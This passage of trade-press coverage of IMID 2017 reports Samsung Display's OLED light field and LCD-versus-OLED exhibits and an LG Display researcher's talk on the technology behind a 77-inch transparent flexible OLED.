In addition, Samsung Display exhibited OLED light field displays in the future display zone, and in the AMOLED zone, visitors can directly compare LCD and OLED.

A company official explained that “light field display is a technology that implements 3D by applying an optical lens on a panel, which is a little different from hologram using light interference effect.” And he said “We are developing a viewing angle that is wider than 30 °,” revealed “We now have pixel and lens alignment issues and optical design issues.”

 

<OLED light field display description and specification>

 

In the AMOLED zone, panels were displayed to directly compare the contrast ratio of LCD and OLED. The contrast ratio and color expressiveness of the OLEDs were clearly different from those of the LCDs, and a company official said, “These differences are the reasons why OLEDs are used in the Galaxy series.”

 

<Comparison of OLED (Left) and LCD (right) image quality>

 

Samsung Display has also introduced 1.3 inch circle OLED and 12 inch FHD OLED, which led to the great interest of the visitors during the exhibition.

[iMiD 2017] LG Display, Spur Development of 77 inch transparent flexible OLED

LG Display’s Kwon Se-Yeol senior researcher introduced the 77-inch transparent flexible OLED which had been introduced in June at IMID 2017 held in BEXCO, Busan on Aug. 30, and announced the applied technologies to realize this.

 

 

Kwon Se-Yeol senior researcher mentioned, “OLED is self-luminous, so it can be manufactured with a thin thickness because it does not need a back light unit. The thinner the thickness, the more flexible the OLED can be so that it is easy to implement flexible displays with OLEDs.” and forecasted. “It can be used in various fields such as signage and smart desk.”

 

 

The 77-inch transparent flexible OLED which is released this time is a top emission type for improved luminance. The transparent thin film encapsulation layer is applied, different from the conventional OLED TV or large flexible OLED, and two polyimide substrates are used.

 

Kwon Se-Yeol senior researcher said “We applied a transparent thin-film encapsulation layer instead of the existing metal encapsulation layer for the top emission method ” and explained “A white OLED light emitting layer and a color filter layer were formed on two polyimide substrates and cemented together. A barrier film and a multi-barrier were applied to the top and bottom of the polyimide substrates to prevent moisture and oxygen penetration.”

 

 

The Kwon Se-Yeol senior researcher then states that “flexural rigidity of the panel is mainly affected by the thickness of the polarizer and the encapsulant layer, so it is necessary to reduce the thickness in order to improve the flexibility”, and emphasized “By reducing the thickness of the encapsulant layer from 100 μm to 20 μm, we can reduce the strain on the OLED module from 0.36% to 0.21%, along with improved flexibility”.

In addition, he mentioned that surface reflection due to polyimide birefringence phenomenon, laser wavelength selection according to polyimide properties in LLO (laser lift off) process, and use of flexible OLED module are all covered, and technical development is continuing.

Meanwhile, LG Display has developed the world’s first 77-inch transparent flexible OLED with UHD (3840 × 2160) resolution, transmittance of 40%, and radius of curvature of 80R as part of the national project.